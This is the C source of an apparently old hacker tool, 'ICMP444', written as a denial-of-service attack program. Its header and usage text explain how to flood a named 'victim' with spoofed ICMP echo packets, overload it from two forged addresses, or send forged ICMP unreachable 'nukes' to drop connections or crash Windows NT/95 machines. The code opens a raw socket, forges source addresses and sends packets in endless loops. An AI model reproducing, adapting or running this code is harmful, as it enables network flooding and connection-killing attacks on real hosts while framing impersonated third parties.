/*

   ICMP444V.c
   Kickass ICMP client, does some phat shit, runs fine from Linux, should
   also compile on a Sun, compile, then run for usage, or read this..

   To flood with echo spoofing :
   -----------------------------
   icmp444 E <spoof address> <ip of victim> <size of packet>

   eg : ~# icmp444 E www.nasa.gov ppp123.sucker.com 1000

   To overload the fucker      :
   -----------------------------

   icmp444 O <spoof1> <spoof2> <ip of victim>

   eg : ~# icmp444 0 www.nasa.gov www.fbi.gov ppp42.sucker.com

   Bog standard ICMP nuke      :
   -----------------------------

   icmp444 X <destination of packet> <port source> <ip of source>
                 <port of destination++;> <code of icmp (eg. 2 )>

   eg : ~# icmp444 X irc.devil.com 6667 ppp45.sucker.com 1020 2

   To nuke an NT/Win96 box     :
   -----------------------------

   icmp444 X <destination of packet> <port source++;> <ip of source>
                                             <port of destination> 2

   eg : ~# icmp444 N  ppp56.sucker.com 1020 irc.devil.com 6667 2


   e4elite [nWo]
   
*/

#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <netinet/ip_icmp.h>

#ifdef SYSV
#define bcopy(s1,s2,len) memcpy(s2,s1,len)
#endif

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */

    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */

    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

unsigned int host2ip(char *serv)
{
   struct sockaddr_in sin;
   struct hostent *hent;
      
  hent=gethostbyname(serv);
  if(hent == NULL) return 0;
  bzero((char *)&sin, sizeof(sin));
  bcopy(hent->h_addr, (char *)&sin.sin_addr, hent->h_length);
  return sin.sin_addr.s_addr;
 }

                     
main(int argc, char **argv)
   {
        struct sockaddr_in sin_dst;
	unsigned char packet[4098];
	struct iphdr   *ip;
	struct icmphdr *icmp;
	struct iphdr    *ipfake;
	unsigned char  *data;
	
	 unsigned           s_port;
	 unsigned           t_port;
                               
	int s;
        int i;
	int DATA;
	int s_portinc,t_portinc;
	
	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet+IPHDRSIZE);
	ipfake = (struct iphdr*)(packet+IPHDRSIZE+ICMPHDRSIZE );
	data = (char *)(packet+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE);
	
	memset(packet, 0, 4098);
	
        printf(" ICMP444 ready for action!\n\n");
	
	if(argc == 1) {
	
        printf(" To flood with echo spoofing : \n");
        printf(" icmp444 E <spoof address> <ip of victim> <size of packet>\n");
        printf(" eg : ~# icmp444 E www.nasa.gov ppp123.sucker.com 1000\n\n");
        printf(" To overload the fucker      : \n");
        printf(" icmp444 O <spoof1> <spoof2> <ip of victim>\n");
        printf(" eg : ~# icmp444 0 www.nasa.gov www.fbi.gov ppp42.sucker.com \n\n");
        printf(" Bog standard ICMP nuke      : \n\n");
        printf(" icmp444 X <destination of packet> <port source> <ip of source> <port of destination++;> <code of icmp (eg. 2 )> \n");
        printf(" eg : ~# icmp444 X irc.devil.com 6667 ppp45.sucker.com 1020 2 \n\n");
        printf(" To nuke an NT/Win96 box     : \n ");
        printf(" icmp444 X <destination of packet> <port source++;> <ip of source> <port of destination> 2 \n"); 
        printf(" eg : ~# icmp444 N  ppp56.sucker.com 1020 irc.devil.com 6667 2 \n\n");
	
	}
	
	/* OPEN A RAW_SOCKET ! */;
	
	 s=socket(AF_INET, SOCK_RAW, 255);
	        if(s < 0)
	        {
                fprintf(stderr, "can't open raw socket\n");
	        exit(0);
	        }
	
	#ifdef IP_HDRINCL
	 if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) < 0)
	      {
	        fprintf(stderr, "cant set IP_HDRINCL\n");
	         close(s);
	        exit(0); }
	#endif
	                                                    
	
	if (*(argv[1]+0)=='E'){
	
	DATA=atoi(argv[4]);
	
	ip->saddr    = host2ip(argv[2]);
	ip->daddr    = host2ip(argv[3]);
	ip->version  = 4;
	ip->ihl      = 5; 
	ip->ttl      = 255;
	ip->protocol = 1; 
	ip->tot_len  = htons(IPHDRSIZE +ICMPHDRSIZE+DATA);
	ip->tos      = 0;
	ip->id       = 0;
	ip->frag_off = 0;
	ip->check    = in_cksum(packet,IPHDRSIZE);
	
	icmp->type = 8; 
	icmp->code = 0;
	
	icmp->checksum = in_cksum(icmp,ICMPHDRSIZE+DATA); 
	
	sin_dst.sin_addr.s_addr = ip->daddr;
        sin_dst.sin_family = AF_INET; 
        printf(" HEY! %s u r dead  \n",argv[3] );
	for(;;){

	sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE+DATA,0,
          (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); }
	
     }

if (*(argv[1]+0)=='O'){

     unsigned int IP1;
     unsigned int IP2;
     
     IP1= host2ip(argv[2]); 
     IP2 = host2ip(argv[3]);   
     ip->daddr    =  host2ip(argv[4]);
                  
     ip->version  = 4;
     ip->ihl      = 5;
     ip->ttl      = 255;
     ip->protocol = 1;
     ip->tot_len  = htons(IPHDRSIZE +ICMPHDRSIZE );
     ip->id       = 2;
     ip->frag_off = 0;
     ip->tos      = 0; 
            
     ip->check    = in_cksum(packet,IPHDRSIZE); 
    icmp->type = 3;
    icmp->code = 5;
    icmp->checksum = 1234;             
    printf(" HEY! %s  are you on a fucking 8086?  \n",argv[4] );                                           
  
  for(;;){
    ip->saddr = IP1;
    sin_dst.sin_addr.s_addr = ip->daddr;
    sin_dst.sin_family = AF_INET;
    
    sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE,0,
           (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); 
    
    ip->saddr = IP2;
    sin_dst.sin_addr.s_addr = ip->daddr;
    
    sendto(s,packet,IPHDRSIZE+ICMPHDRSIZE,0,
               (struct sockaddr *)&sin_dst,sizeof(struct sockaddr));
            }
  }
 
if(*(argv[1]+0)=='X'){ 
s_portinc=0;
t_portinc=1;
goto go;
} 
if (*(argv[1]+0)=='N'){

s_portinc=1;
t_portinc=0;
go:

  
ip->saddr    = host2ip(argv[4]);
ip->daddr    = host2ip(argv[2]);
s_port=atoi(argv[3]);

t_port=atoi(argv[5]);
                                  
ip->version  = 4;
ip->ihl      = 5;
ip->ttl      = 255;
ip->protocol = 1;
ip->tot_len  = htons(IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8);
ip->tos      = 0;
ip->id       = 2;
ip->frag_off = 0;
ip->check    = in_cksum(packet,IPHDRSIZE);
                                                                                                  
                                                                                                  
icmp->type = 3;
icmp->code = atoi(argv[6]);

ipfake->saddr = ip->daddr;
ipfake->daddr = ip->saddr;
 
ipfake->version  = 4;
ipfake->ihl      = 5;
ipfake->ttl      = 255;
ipfake->protocol = IPPROTO_TCP;
ipfake->tot_len  = htons(IPHDRSIZE+36);
ipfake->tos      = 0;
ipfake->id       = 22;
ipfake->frag_off = 0;
ipfake->check    = in_cksum(ipfake,IPHDRSIZE);

for(;;){

 *((unsigned int *)data)          = htons(s_port);
 *((unsigned int *)(data+2))      = htons(t_port);
 *((unsigned long *)(data+4))     = 6580;
 icmp->checksum=0;
 icmp->checksum = in_cksum(icmp,36);

 sin_dst.sin_addr.s_addr = ip->daddr;
 sin_dst.sin_family = AF_INET;                     
                         
 sendto(s,packet,IPHDRSIZE+36,0,
 (struct sockaddr *)&sin_dst,sizeof(struct sockaddr)); 

printf("sport,tport:%i,%i\n\n",s_port,t_port);

s_port=s_port+s_portinc;
t_port=t_port+t_portinc;

usleep(200);
}
}                                           
}


